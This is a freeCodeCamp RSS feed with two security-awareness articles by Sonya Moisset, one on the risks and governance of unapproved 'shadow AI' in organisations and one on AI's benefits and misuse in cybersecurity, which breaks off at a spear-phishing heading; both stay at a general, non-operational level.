<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/" version="2.0">
    <channel>
        
        <title>
            <![CDATA[ Sonya Moisset - freeCodeCamp.org ]]>
        </title>
        <description>
            <![CDATA[ Browse thousands of programming tutorials written by experts. Learn Web Development, Data Science, DevOps, Security, and get developer career advice. ]]>
        </description>
        <link>https://www.freecodecamp.org/news/</link>
        <image>
            <url>https://cdn.freecodecamp.org/universal/favicons/favicon.png</url>
            <title>
                <![CDATA[ Sonya Moisset - freeCodeCamp.org ]]>
            </title>
            <link>https://www.freecodecamp.org/news/</link>
        </image>
        <generator>Eleventy</generator>
        <lastBuildDate>Sun, 24 May 2026 22:24:01 +0000</lastBuildDate>
        <atom:link href="https://www.freecodecamp.org/news/author/SonyaMoisset/rss.xml" rel="self" type="application/rss+xml" />
        <ttl>60</ttl>
        
            <item>
                <title>
                    <![CDATA[ What is Shadow AI? The Hidden Risks and Challenges in Modern Organizations ]]>
                </title>
                <description>
                    <![CDATA[ Imagine this: a marketing manager uses ChatGPT to draft a personalized email campaign. Meanwhile, a developer experiments with a machine learning model trained on customer data, and an HR team integrates an artificial intelligence (AI) tool to screen... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/shadow-ai-hidden-risks-and-challenges/</link>
                <guid isPermaLink="false">67b450b56572419f24094c04</guid>
                
                    <category>
                        <![CDATA[ AI ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Artificial Intelligence ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Sonya Moisset ]]>
                </dc:creator>
                <pubDate>Tue, 18 Feb 2025 09:19:49 +0000</pubDate>
                <media:content url="https://cdn.hashnode.com/res/hashnode/image/upload/v1739870232803/7d5d5b43-4ca1-4e51-972b-586c0094854f.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Imagine this: a marketing manager uses ChatGPT to draft a personalized email campaign. Meanwhile, a developer experiments with a machine learning model trained on customer data, and an HR team integrates an artificial intelligence (AI) tool to screen resumes. None of these actions go through the IT department for approval. What’s happening here? This is shadow AI in action.</p>
<p>Shadow IT—which is using unapproved software or tools at work—isn’t new. However, with the rapid adoption of AI, shadow IT has evolved into something more complex: shadow AI. Employees now have easy access to AI-powered tools like ChatGPT, AutoML platforms, and open source models, enabling them to innovate without waiting for approval. While this might sound like a win for productivity, it comes with serious risks.</p>
<p>Shadow AI is a growing concern for organizations embracing AI-driven solutions because it operates outside the boundaries of IT governance. Employees using these tools may unknowingly expose sensitive data, violate privacy regulations, or introduce biased AI models into critical workflows. This unmanaged AI usage isn’t just about breaking rules—it’s about the potential for ethical, legal, and operational fallout.</p>
<h3 id="heading-heres-what-well-cover"><strong>Here’s what we’ll cover:</strong></h3>
<ul>
<li><p><a class="post-section-overview" href="#heading-1-what-is-shadow-ai">1. What is Shadow AI? 🤔</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-2-the-drivers-behind-shadow-ai">2. The drivers behind Shadow AI 📝</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-3-risks-associated-with-shadow-ai">3. Risks associated with Shadow AI 🪲</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-4-strategies-to-mitigate-shadow-ai">4. Strategies to mitigate Shadow AI 🛡️</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-5-the-future-of-shadow-ai">5. The future of Shadow AI 🤖</a></p>
</li>
<li><p><a class="post-section-overview" href="#heading-conclusion-managing-the-double-edged-sword-of-shadow-ai">Conclusion: Managing the double-edged sword of Shadow AI 🧬</a></p>
</li>
</ul>
<h2 id="heading-1-what-is-shadow-ai">1. What is Shadow AI? 🤔</h2>
<p>Shadow AI refers to the unauthorized or unmanaged use of AI tools, models, or platforms within an organization. It’s a new form of shadow IT, where employees or teams adopt AI technologies without approval from IT or governance teams. Unlike traditional tools, AI’s reliance on data and decision-making capabilities makes its risks more significant.</p>
<h3 id="heading-examples-of-shadow-ai-in-action"><strong>Examples of Shadow AI in action</strong></h3>
<h4 id="heading-the-marketing-team-and-chatgpt"><strong>The marketing team and ChatGPT</strong></h4>
<p>A marketing intern is pressured to create a press release quickly. They’ve heard about ChatGPT’s ability to write content and decided to try it. The intern copies a previous press release containing confidential client details and pastes it into ChatGPT’s input box for “inspiration.”</p>
<p>ChatGPT generates an impressive draft, but the platform’s data policy allows it to retain user inputs for model improvements. Now, sensitive client information is stored on external servers without the company’s knowledge.</p>
<h4 id="heading-the-data-scientist-and-the-rogue-model"><strong>The data scientist and the rogue model</strong></h4>
<p>A data scientist is eager to prove the value of predictive analytics for the company’s sales department. He downloads customer purchase history without formal approval and trains a machine-learning model. He uses an open source dataset to supplement the training data to save time.</p>
<p>However, this external dataset contains biased information. The model predicts purchasing behavior, but its results are skewed due to the bias in the training data. Without oversight, the model is deployed to make critical sales decisions. Customers from certain demographics are unfairly excluded from promotions, causing reputational harm to the company.</p>
<h4 id="heading-the-developer-and-the-api-shortcut"><strong>The developer and the API shortcut</strong></h4>
<p>A developer is tasked with adding a translation feature to a company’s customer service portal. Instead of building a solution internally, she finds a third-party AI-powered API that offers instant translation. The developer integrates the API without vetting its provider or informing the IT department.</p>
<p>The API contains vulnerabilities that the developer did not know. Within weeks, attackers exploit these vulnerabilities to access sensitive customer communication logs. The company suffers a significant security breach, resulting in operational downtime and financial losses.</p>
<h2 id="heading-2-the-drivers-behind-shadow-ai">2. The drivers behind Shadow AI 📝</h2>
<p>Shadow AI is spreading because it’s easier than ever for employees to adopt AI tools independently. But this independence comes with risks, from compliance issues to security vulnerabilities.</p>
<h4 id="heading-accessibility-of-ai-tools"><strong>Accessibility of AI tools</strong></h4>
<p>AI tools are now more accessible than ever, with many being free, inexpensive, or requiring minimal setup, making them appealing to employees seeking quick solutions.</p>
<p>For example, a sales team might use a free AI chatbot to manage customer queries, unknowingly uploading real customer data for training. This data could be retained on external servers, creating a potential privacy breach.</p>
<p>The problem lies in the lack of governance, as using easily accessible tools without oversight can result in data leaks or compliance violations, posing significant risks to the organization.</p>
<h4 id="heading-democratization-of-ai"><strong>Democratization of AI</strong></h4>
<p>User-friendly platforms like AutoML and <a target="_blank" href="https://www.datarobot.com/">DataRobot</a>, and pre-trained models on platforms like <a target="_blank" href="https://huggingface.co/">Hugging Face</a>, allow non-technical users to create AI models or deploy AI solutions quickly. For example, a marketing analyst might use <a target="_blank" href="https://cloud.google.com/automl?hl=en">Google AutoML</a> to predict customer churn by uploading purchase histories to train a model.</p>
<p>While the tool works seamlessly, she may unknowingly violate the company’s data handling policy by failing to anonymize sensitive information and exposing private customer data to a third-party platform.</p>
<p>The problem lies in the lack of technical oversight, as this capability increases the risk of errors, data misuse, and ethical issues, potentially compromising organizational security and compliance.</p>
<h4 id="heading-pressure-to-innovate"><strong>Pressure to innovate</strong></h4>
<p>The drive to innovate often leads employees to bypass IT governance to deploy AI tools more quickly, especially when facing tight deadlines where waiting for approval feels like a bottleneck. \</p>
<p>For example, a product team under pressure to launch a new feature in weeks might skip IT approval and deploy an open source AI-powered recommendation system found on GitHub.</p>
<p>While the system functions, it produces biased recommendations that alienate certain customer segments. This rush to innovate without proper oversight can lead to significant long-term issues, including biased decisions, technical debt, and reputational harm, undermining organizational trust and performance.</p>
<h4 id="heading-gaps-in-organizational-ai-strategy"><strong>Gaps in organizational AI strategy</strong></h4>
<p>The absence of clear AI policies or approved tools often forces employees to find their solutions, creating an environment where shadow AI thrives. For example, an employee needing to analyze customer sentiment might use an external platform without understanding the associated risks if no internal options are available.</p>
<p>This lack of governance leads to challenges in adopting AI responsibly, stemming from unclear data privacy and security guidelines, insufficient training on AI risks, and the unavailability of approved tools or platforms, ultimately exposing the organization to compliance and security vulnerabilities.</p>
<h2 id="heading-3-risks-associated-with-shadow-ai">3. Risks associated with Shadow AI 🪲</h2>
<p>Shadow AI introduces significant risks to organizations, often exceeding those associated with traditional shadow IT. From data breaches to ethical dilemmas, unmanaged AI usage can create problems that are difficult to detect and costly to resolve.</p>
<h3 id="heading-security-risks"><strong>Security risks</strong></h3>
<p>Unauthorized AI tools pose significant security risks, mainly when sensitive data is uploaded or shared without proper safeguards, making it vulnerable to exposure.</p>
<p>For example, employees using free generative AI tools like ChatGPT might inadvertently upload proprietary information, such as business plans or customer data, which the platform may retain or share for training purposes.</p>
<p>Also, developers downloading open source AI models to accelerate projects could unknowingly introduce malicious models with hidden backdoors that exfiltrate sensitive data during use.</p>
<h3 id="heading-compliance-and-legal-risks"><strong>Compliance and legal risks</strong></h3>
<p>Shadow AI often breaches data privacy laws and licensing agreements, exposing organizations to regulatory and legal risks.</p>
<p>For example, a healthcare provider might use an unauthorized diagnostic AI tool, unknowingly uploading patient data to a non-compliant server, thereby violating regulations like <a target="_blank" href="https://www.hhs.gov/hipaa/index.html">HIPAA</a> or GDPR and incurring substantial fines.</p>
<p>Similarly, a team might train a machine learning model using a dataset with restricted licensing terms, and upon commercialization, the organization could face legal action for intellectual property infringement.</p>
<h3 id="heading-ethical-concerns"><strong>Ethical concerns</strong></h3>
<p>AI tools deployed without proper oversight can perpetuate bias, make unfair decisions, and lack transparency, resulting in significant ethical and reputational issues.</p>
<p>For example, a hiring tool trained on biased data might inadvertently exclude qualified candidates from underrepresented groups, reinforcing systemic inequalities.</p>
<p>Along the same lines, a customer credit scoring system using an opaque AI model can deny loans without clear explanations, eroding trust and damaging the organization’s credibility.</p>
<h3 id="heading-operational-risks"><strong>Operational risks</strong></h3>
<p>Shadow AI frequently leads to fragmented systems, redundant efforts, and technical debt, disrupting business operations and efficiency.</p>
<p>For example, when different departments independently adopt AI tools for similar tasks, it creates inefficiencies and integration challenges. Also, a team may develop a machine learning model without proper documentation or maintenance, leaving the organization unable to troubleshoot or rebuild it when the model fails, compounding technical debt and operational risks.</p>
<h2 id="heading-4-strategies-to-mitigate-shadow-ai">4. Strategies to mitigate Shadow AI 🛡️</h2>
<p>Shadow AI thrives in environments without oversight, clear policies, or accessible tools. To mitigate its risks, organizations need a proactive and comprehensive approach.</p>
<h3 id="heading-create-an-ai-governance-framework"><strong>Create an AI governance framework</strong></h3>
<p>A strong AI governance framework provides clear policies and guidelines for using AI within an organization, forming the foundation for managing risks associated with AI tools and models. This includes defining policies that establish rules for approved AI tools, model development, and data handling practices, as well as specifying acceptable use cases such as data anonymization requirements and licensing compliance.</p>
<p>The framework should also implement model lifecycle management by outlining AI model development, deployment, monitoring, and decommissioning processes while requiring comprehensive datasets, algorithms, and performance metrics documentation.</p>
<p>Also, appointing AI stewards—individuals or teams responsible for enforcing governance policies and overseeing AI projects—ensures consistent adherence to these standards.</p>
<p><strong>Policy example:</strong> “AI tools used within the organization must be pre-approved by IT and security teams. Any data uploaded to external AI services must be anonymized and comply with relevant data protection laws.”</p>
<h3 id="heading-increase-awareness"><strong>Increase awareness</strong></h3>
<p>Education is essential for addressing shadow AI, as employees often adopt unauthorized tools due to a lack of awareness about the associated risks.</p>
<p>Offering workshops and training sessions on AI ethics, data privacy laws (for example, GDPR and HIPAA), and the dangers of shadow AI helps build understanding and accountability. Regular updates through newsletters or internal communications can keep employees informed about approved tools, new policies, and emerging risks. Also, conducting simulated exercises or tabletop scenarios can vividly demonstrate the potential consequences of shadow AI breaches, reinforcing the importance of compliance and vigilance.</p>
<p><strong>Training example:</strong> Organize a company-wide training session titled “The hidden risks of shadow AI: Protecting our organization.”</p>
<h3 id="heading-implement-security-controls"><strong>Implement security controls</strong></h3>
<p>Security controls are critical for monitoring and restricting unauthorized use of AI tools, enabling early detection and mitigation of shadow AI activities.</p>
<p>AI monitoring tools, such as <a target="_blank" href="https://mlflow.org/">MLFlow</a> and <a target="_blank" href="https://domino.ai/">Domino Data Lab</a>, can track AI model development and deployment within the organization. APIs and log monitoring solutions help detect unauthorized interactions with external AI platforms. Data Leakage Prevention (DLP) tools can identify and block attempts to upload sensitive data to unapproved AI platforms. Also, network controls, including blocklists for known external AI services, can restrict access to unauthorized AI applications, strengthening overall security.</p>
<h3 id="heading-provide-sanctioned-alternatives"><strong>Provide sanctioned alternatives</strong></h3>
<p>Employees often resort to shadow AI due to a lack of access to approved tools that meet their needs, making it crucial to provide alternatives that reduce the appeal of unauthorized platforms.</p>
<p>Conducting surveys or interviews can help identify the specific tools employees require while centralizing approved options in a well-documented catalog ensures accessibility and clarity. Also, providing user-friendly interfaces and training for sanctioned tools encourages adoption and minimizes reliance on unsanctioned solutions.</p>
<p><strong>Compliance example:</strong> Provide pre-approved access to cloud-based AI platforms like <a target="_blank" href="https://cloud.google.com/products/ai?hl=en">Google Cloud AI</a> or <a target="_blank" href="https://azure.microsoft.com/en-us/solutions/ai">Azure AI</a>, configured with organizational security and compliance policies.</p>
<h3 id="heading-encourage-collaboration"><strong>Encourage collaboration</strong></h3>
<p>Effective management of AI initiatives requires fostering communication and alignment between IT, security, and business teams, ensuring that AI governance supports operational goals while maintaining security and compliance.</p>
<p>Establishing cross-functional teams, such as an AI governance council with IT, security, legal, and business unit representatives, promotes collaboration and comprehensive oversight.</p>
<p>Implementing feedback loops allows employees to request new tools or raise concerns about AI governance policies, ensuring their voices are heard. Also, aligning AI initiatives with organizational objectives reinforces their importance and fosters shared team commitment.</p>
<p><strong>Collaboration example:</strong> Hold quarterly AI governance meetings to discuss new tools, review compliance updates, and address employee feedback.</p>
<h2 id="heading-5-the-future-of-shadow-ai">5. The future of Shadow AI 🤖</h2>
<p>As AI evolves, so does the challenge of managing its unauthorized use. Emerging trends in AI, such as generative models and foundation systems, bring both opportunities and risks, further amplifying the complexities of shadow AI.</p>
<h3 id="heading-integration-of-ai-governance-into-devsecops"><strong>Integration of AI governance into DevSecOps</strong></h3>
<p>AI governance is increasingly central to modern DevSecOps practices, ensuring security, compliance, and ethical considerations are embedded throughout the AI lifecycle. This includes shift-left AI governance, where governance checks like dataset validation and model bias testing are integrated early in development.</p>
<p>DevOps practices are also evolving to incorporate AI-specific CI/CD pipelines, including model validation, performance benchmarking, and compliance checks during deployment. Also, real-time monitoring and incident response mechanisms, such as automated alerts for anomalies like unexpected outputs or data integrity violations, play a critical role in maintaining the integrity and reliability of AI systems.</p>
<h3 id="heading-advances-in-ai-monitoring-tools"><strong>Advances in AI monitoring tools</strong></h3>
<p>New tools and technologies are emerging to tackle the unique challenges of monitoring AI systems, particularly those operating autonomously. Explainability and transparency tools like SHAP, LIME, and ELI5 allow organizations to interpret model decisions and ensure alignment with ethical standards.</p>
<p>Continuous model monitoring platforms like <a target="_blank" href="https://arize.com/">Arize AI</a> and <a target="_blank" href="https://www.evidentlyai.com/">Evidently AI</a> offer ongoing performance tracking to detect issues like model drift or accuracy degradation. And network-based monitoring solutions can automate the detection of unauthorized AI usage by flagging interactions with unsanctioned AI APIs or platforms.</p>
<h3 id="heading-evolution-of-shadow-ai-with-generative-ai-and-foundation-models"><strong>Evolution of Shadow AI with Generative AI and foundation models</strong></h3>
<p>Generative AI and foundation models like <a target="_blank" href="https://en.wikipedia.org/wiki/Generative_pre-trained_transformer">GPT</a> and <a target="_blank" href="https://en.wikipedia.org/wiki/BERT_\(language_model\)">BERT</a> have drastically lowered the barriers to developing AI-driven applications, increasing both the risks and benefits of shadow AI. Their user-friendly nature enables even non-technical employees to create sophisticated AI solutions, increasing accessibility.</p>
<p>However, this ease of use complicates governance, as these tools often rely on large, opaque datasets, making compliance and ethical oversight more challenging. Additionally, generative models can produce biased, inappropriate, or confidential content, further amplifying risks to organizational integrity and reputation.</p>
<h2 id="heading-conclusion-managing-the-double-edged-sword-of-shadow-ai">Conclusion: Managing the double-edged sword of Shadow AI 🧬</h2>
<p>As organizations increasingly embrace AI-driven solutions, shadow AI emerges as both a catalyst for innovation and a source of significant risk. On the one hand, it empowers employees to solve problems, automate tasks, and drive efficiency. On the other hand, its unmanaged nature introduces vulnerabilities, ranging from data breaches to compliance violations, ethical challenges, and operational inefficiencies.</p>
<p>Shadow AI is a byproduct of AI's accessibility and democratization, reflecting the growing role of technology in modern workflows. However, its risks cannot be ignored. Left unchecked, shadow AI can erode trust, disrupt operations, and expose organizations to regulatory and reputational damage.</p>
<p>AI tools have become ubiquitous in modern work, but their potential benefits come with responsibilities. Employees and decision-makers must:</p>
<ul>
<li><p><strong>Think critically</strong> about the tools they adopt and their broader implications.</p>
</li>
<li><p><strong>Assess risks</strong> carefully, especially regarding data privacy, compliance, and ethical considerations.</p>
</li>
<li><p><strong>Collaborate</strong> across teams to align AI initiatives with organizational values and societal standards.</p>
</li>
</ul>
<p>Ultimately, the question isn’t whether shadow AI will exist—it’s how we manage it.</p>
<p>You can follow me on <a target="_blank" href="https://x.com/SonyaMoisset">Twitter</a>, <a target="_blank" href="https://www.linkedin.com/in/sonyamoisset/">LinkedIn</a> or <a target="_blank" href="https://linktr.ee/sonyamoisset">Linktree</a>. Remember to #<strong>GetSecure</strong>, #<strong>BeSecure</strong> &amp; #<strong>StaySecure</strong>!</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ The Effects of AI in Cybersecurity Handbook – The Malicious Use of AI in Cyberattacks ]]>
                </title>
                <description>
                    <![CDATA[ The field of cybersecurity is engaged in a relentless battle between those who defend systems and data, and those who seek to attack them. In this high-stakes arena, artificial intelligence (AI) has emerged as a new, game-changing ally for the defend... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/effects-of-ai-in-cybersecurity-handbook/</link>
                <guid isPermaLink="false">66ba30f154ccc2d852dc8920</guid>
                
                    <category>
                        <![CDATA[ Artificial Intelligence ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Sonya Moisset ]]>
                </dc:creator>
                <pubDate>Wed, 20 Sep 2023 20:11:22 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2023/09/cyberpunk-pixel-art-455696581.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>The field of cybersecurity is engaged in a relentless battle between those who defend systems and data, and those who seek to attack them. In this high-stakes arena, artificial intelligence (AI) has emerged as a new, game-changing ally for the defenders.</p>
<p>To understand AI's profound impact, it is important to first understand what AI is. At its core, AI refers to the ability of machines to demonstrate human-like intelligence. That is, to learn, reason, and make well-informed decisions. When harnessed for cybersecurity, AI becomes a powerful weapon, capable of processing massive volumes of data, detecting patterns, and taking instant actions that can make the difference between safety and compromise.</p>
<p>The advent of AI represents more than just a technological breakthrough in cybersecurity. It signifies an evolutionary leap from traditional rule-based security systems to next-generation defenses powered by adaptable, intelligent algorithms. These algorithms continuously analyze diverse streams of data, including network traffic activity, system logs, and user behaviors. </p>
<p>This allows even subtle anomalies that may point to cyber threats to be spotted early. With this proactive approach, organizations can stay one step ahead of attackers and respond swiftly to emerging dangers. This paradigm shift from passive to active defense promises to reshape the cybersecurity landscape.</p>
<h2 id="heading-table-of-contents">Table of Contents:</h2>
<ol>
<li><a class="post-section-overview" href="#heading-key-benefits-of-ai-in-cybersecurity">Key Benefits of AI in Cybersecurity</a></li>
<li><a class="post-section-overview" href="#heading-the-risks-of-ai-in-cybersecurity">The Risks of AI in Cybersecurity</a></li>
<li><a class="post-section-overview" href="#heading-why-do-bad-actors-love-ai">Why do Bad Actors Love AI?</a></li>
<li><a class="post-section-overview" href="#heading-how-to-reduce-the-risks-of-ai-in-cybersecurity">How to Reduce the Risks of AI in Cybersecurity</a></li>
<li><a class="post-section-overview" href="#heading-conclusion">Conclusion</a></li>
</ol>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/09/image-71.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-key-benefits-of-ai-in-cybersecurity">Key Benefits of AI in Cybersecurity</h2>
<p>In this section, we'll discuss some of the benefits of artificial intelligence in cybersecurity.</p>
<h3 id="heading-improved-threat-detection-and-response">Improved Threat Detection and Response</h3>
<p>Traditional security systems are heavily dependent on pre-defined rules and signature databases to identify threats. This leaves them prone to missing newly evolved attacks that do not match established patterns. AI overcomes this limitation through its unparalleled ability to recognize anomalies and subtle deviations within massive datasets. AI solutions detect the weak signals that may indicate emerging threats by analyzing network traffic, system logs, and user behaviors in real time.</p>
<p>Even minor aberrations from normal activity, such as unusual login attempts, unauthorized data access, or atypical traffic can trigger AI systems to raise alerts. This enables early detection of threats that would likely bypass legacy defenses reliant on known attack signatures.</p>
<p>The superiority of AI is further evidenced in how it enables security teams to respond faster and more effectively to incidents. Upon detecting a potential breach, AI systems can instantly take containment actions like isolating affected systems and activating countermeasures. This swift neutralization of threats is impossible in traditional response workflows that require considerable human involvement.</p>
<p>With AI automating a range of response functions, analysts are freed to focus their skills and experience on high-level tasks. This amplifies the effectiveness of security teams, allowing them to operate at peak performance against threats. Together, AI’s early threat detection capabilities and swift automated response confer a formidable advantage to organizations seeking to fortify their cybersecurity posture.</p>
<h3 id="heading-automated-incident-response"><strong>Automated Incident Response</strong></h3>
<p>The transformative impact of AI is not limited to threat detection - it also radically enhances incident response through extensive automation. Upon identifying a potential security breach, AI systems can instantly initiate targeted containment measures before human analysts are even alerted.</p>
<p>Depending on the nature of the incident, AI systems may immediately isolate affected systems to prevent further contamination. It may activate countermeasures like network traffic filters to stop the exfiltration of sensitive data. They may also suspend user accounts or privileges associated with the threat. The AI systems neutralize the threat and minimize damage by executing these initial response steps automatically.</p>
<p>Only once the threat is contained does the AI systems alert the security operations team. This allows analysts to do deeper investigation and remediation without the pressure of an active attack underway. This is a momentous improvement over manual response where teams must scramble to take action while the threat continues to evolve.</p>
<p>The AI systems also reduce the burden on human analysts significantly by handling the initial response autonomously. It allows them to focus their valuable time and expertise on higher-level tasks like determining the root cause, assessing wider impact, and implementing long-term fixes. This human-machine collaboration amplifies the overall incident response capabilities to a level unattainable through human efforts alone.</p>
<h3 id="heading-enhanced-predictive-capabilities"><strong>Enhanced Predictive Capabilities</strong></h3>
<p>One of the most game-changing attributes of AI is its unparalleled ability to predict emerging threats and vulnerabilities through deep analysis of historical data. AI systems deliver actionable insights that allow organizations to fix security gaps before attackers can exploit them by discerning patterns and trends.</p>
<p>AI solutions ingest varied data sources like past incident reports, threat intelligence feeds, and network activity logs. Advanced correlation techniques uncover recurring sequences that provide clues to upcoming threats. For instance, AI can pinpoint periods of increased phishing attempts based on prior spikes around quarterly financial reports.</p>
<p>Powerful predictive models simulate hypothetical scenarios to forecast specific vectors that may be used by attackers. This foresight allows security teams to proactively hunt for IOCs associated with predicted threats before they occur. Models can also calculate probabilistic risk scores for assets to determine which systems are most imperiled.</p>
<p>Such predictive insights enable organizations to optimize their cybersecurity resource allocation and strengthen defenses in alignment with potential threats. Organizations can implement precisely targeted controls to harden vulnerabilities preemptively by anticipating the most likely and most dangerous attack vectors.</p>
<p>AI’s predictive capabilities realize the cybersecurity ideal of “knowledge is power”. By illuminating emerging risks, AI allows organizations to reinforce defenses systematically before the enemy strikes. This proactive defense posture is immensely more effective than reacting to attacks after the fact. AI predictions expand the window of opportunity to stop threats decisively, establishing a new paradigm in cybersecurity strategy.</p>
<p>We've looked at some of the benefits of AI, but it also introduces new risks when leveraged by malicious actors</p>
<p>This division between the benefits and the risks serves as the focal point for examining the emerging threats posed by the weaponization of AI for cyber warfare.</p>
<p>AI is a versatile technology that can be used for benevolent or harmful reasons. Just as AI enables defenders to detect threats and secure data, it can also empower attackers to create more devastating and scalable attacks. The same capabilities that allow AI systems to learn, reason, adapt and automate can be subverted to expand the arsenal of cybercriminals.</p>
<p>Important insights are revealed that compel cybersecurity leaders to re-evaluate defense strategies by exploring the risks of AI from an adversary mindset. AI-powered cyber weapons have the potential to inflict harm at a massive scale through tailored attacks, evasion of defenses, and high-precision targeting.</p>
<p>Understanding the destructive potential of AI is key to developing prudent safeguards and countermeasures. Organizations must look beyond AI's benefits and critically examine how intelligent systems could be weaponized against them. </p>
<p>Cyber defenders can prepare defenses to match the creativity of empowered attackers by candidly analyzing these threats. Just as AI is revolutionizing protection, it is also set to transform the art of cyber warfare.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/09/image-74.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-the-risks-of-ai-in-cybersecurity">The Risks of AI in Cybersecurity</h2>
<p>As the application of AI in cybersecurity continues to expand, it inadvertently paves the way for a new breed of cyber threats, notably Advanced Persistent Threats (APTs).</p>
<p>Here, we'll look at cyber threats that utilize AI, like APTs, phishing and social engineering attacks, malware and ransomware, and insider threats.</p>
<h2 id="heading-advanced-persistent-threats">Advanced Persistent Threats</h2>
<h3 id="heading-ai-enables-more-sophisticated-attacks">AI Enables more Sophisticated Attacks</h3>
<p>One of the foremost risks of AI is its potential to enable incredibly tailored cyberattacks. This is seen by how AI has empowered APT actors known for stealthy, drawn-out infiltrations of target networks.</p>
<p>APTs traditionally relied on basic automation to collect data and attempt exploits over time. With AI, their capabilities have dangerously expanded. AI algorithms allow APT groups to ingest and cross-reference vast datasets — from employee social media profiles to network architectures — to gain intimate knowledge of targets. This enables customized attacks designed to exploit specific systemic vulnerabilities.</p>
<p>While untargeted attacks may trigger alerts, tailored strikes are far more likely to appear as normal activity and bypass defenses. Furthermore, AI enables APTs to work in real-time, modifying their attack paths dynamically based on how targets respond. If one exploit fails, intelligent systems instantly pivot to an alternative approach based on their extensive target models.</p>
<p>Such adaptive precision far surpasses the skills of even the most seasoned human attackers, while requiring significantly less effort on the part of threat actors. These AI-powered APTs represent the perfect marriage of persistence, sophistication, and adaptability that makes them one of the most dangerous cyber threats facing organizations today. Their unique stealth and targeting capabilities creates the need for new defense strategies.</p>
<h3 id="heading-improved-evasion-of-defenses">Improved Evasion of Defenses</h3>
<p>In addition to enabling tailored attacks, AI also grants APT groups new capacities for evading cyber defenses and extending their presence within breached networks.</p>
<p>A core objective of any APT is to operate undetected as long as possible within the target's systems before executing their end goals. Manual hacking techniques often trigger alerts that lead to their premature removal. AI overcomes this limitation in several ways:</p>
<ul>
<li>AI allows APTs to constantly modify their attack patterns and behaviors to mimic normal system activities. By blending in with approved traffic and operations, AI-powered APTs become almost impossible to distinguish from legitimate actions.</li>
<li>AI analyzes network activity logs and security configurations to identify blind spots. It then optimizes its activities to avoid areas of visibility, akin to finding digital shadows in which to hide.</li>
<li>AI models the behaviors of security systems and administrators to probe defenses without crossing thresholds that would trigger investigations. This "staying under the radar" maximizes an APT's lifespan within compromised networks.</li>
</ul>
<p>Together, these AI-driven evasion techniques create the ultimate threat – one that blends into the backdrop, evades security sensors, and operates unseen over prolonged periods. By the time such an APT is finally detected, if ever, the damage would have already been done. This grim reality highlights the need for organizations to reimagine defenses from the ground up using AI itself. Fighting fire with fire may be the only way to counter such evasive threats.</p>
<h4 id="heading-examples-of-ai-powered-apts">Examples of AI-powered APTs</h4>
<p><strong>WormGPT</strong> is a new tool that has appeared in underground forums, where cybercriminals gather to buy, sell, and trade malware, hacking tools, and other illicit activities. This tool leverages generative AI to create sophisticated phishing and business email compromise (BEC) attacks. Phishing attacks aim to trick victims into divulging sensitive information such as passwords, financial data, or other confidential information. BEC attacks, on the other hand, involve impersonating high-level executives or other authorized personnel to manipulate employees or partners into performing certain actions, such as transferring funds to fraudulent accounts.</p>
<p>One of the key features of WormGPT is its ability to generate highly convincing fake emails that appear to be personalized and legitimate. This is achieved through the use of generative AI algorithms that can analyze a target's online activity, social media profiles, and other publicly available information to craft tailored messages that seem genuine. This automation enables even novice cybercriminals to launch large-scale attacks, making it easier for them to target multiple individuals or organizations simultaneously.</p>
<p>The development and growth of tools like WormGPT raises significant ethical concerns. While AI can be used for beneficial purposes, such as improving cybersecurity defenses, it can also be exploited by malicious actors to perpetuate cybercrimes. Ethical AI models are typically designed with built-in limitations and safeguards to prevent their misuse. However, WormGPT and similar tools lack these constraints, making it easier for cybercriminals to leverage AI for nefarious purposes. This raises concerns about the democratization of cybercrime, where advanced technologies become accessible to a wider range of malicious actors, potentially leading to increased cyberattacks and security threats.</p>
<p>WormGPT is not the only Generative AI (GenAI) tool available to threat actors. Other examples include <strong>PoisonGPT</strong>, a model designed to spread disinformation by creating fake news articles, propaganda, and manipulated videos. Threat actors often upload these models under false identities to evade detection and conceal their involvement. The availability of such tools further highlights the risks associated with the misuse of AI in the hands of malicious actors.</p>
<p>It is important to note that AI-powered APTs are still a relatively new development, and there may be other examples that are not yet known. As AI technology continues to advance, we'll likely see more AI-powered APTs in the future.</p>
<h2 id="heading-phishing-and-social-engineering">Phishing and Social Engineering</h2>
<h3 id="heading-simulated-human-interactions">Simulated Human Interactions</h3>
<p>AI-powered chatbots and intelligent agents have become a dangerous new vehicle for social engineering attacks that exploit human vulnerabilities. These AI bots are capable of authentic conversations that convincingly impersonate trusted entities.</p>
<p>Cybercriminals leverage natural language processing (NLP) to build chatbots that can parse sentences, understand context, and respond appropriately. This enables highly dynamic conversations, unlike the scripted paths of traditional chatbots. The AI chatbots can mimic human conversational patterns including appropriate pauses, empathy, and humor.</p>
<p>The AI bots can personalize conversations to establish rapport by collecting data on targets gleaned from breached databases or social media profiles. They may reference family details, upcoming trips, or recent purchases to appear familiar. This context-aware engagement dupes victims into lowering their guard, making them receptive to manipulative influence.</p>
<p>AI chatbots remove the need for human involvement in social engineering, allowing cybercriminals to launch highly scalable campaigns targeting thousands of victims. With their ability to impersonate trusted entities from close friends to IT helpdesk reps, and engage credibly on numerous topics, AI chatbots have become the ultimate social hacking tool. Organizations must train employees to be vigilant for this rapidly emerging threat.</p>
<h3 id="heading-ai-personalized-spear-phishing">AI-Personalized Spear Phishing</h3>
